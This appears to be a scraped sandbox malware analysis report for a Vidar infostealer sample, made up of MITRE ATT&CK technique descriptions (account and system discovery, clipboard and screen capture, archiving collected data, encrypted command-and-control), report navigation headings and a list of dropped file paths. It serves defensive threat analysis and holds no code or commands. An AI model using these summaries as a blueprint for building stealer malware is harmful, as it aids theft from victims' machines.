Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report yU3icg18lq.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DBGHJEBK

C:\ProgramData\DGHIDHCAAKECGCBFIJDB

C:\ProgramData\ECAFHIIJJECGDHIEGDAK

C:\ProgramData\FCAKFCGC

C:\ProgramData\FCGIJDBAFCBAAKECGDGCBKFIDG

C:\ProgramData\GCGDGHCBGDHJJKECAECBAEGCBG

C:\ProgramData\HIIIIEGHDGDBFIDGHDAFCAFBGH

C:\ProgramData\HJJKJJDHCGCAECAAECFHDAECFH

Windows Analysis Report
yU3icg18lq.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre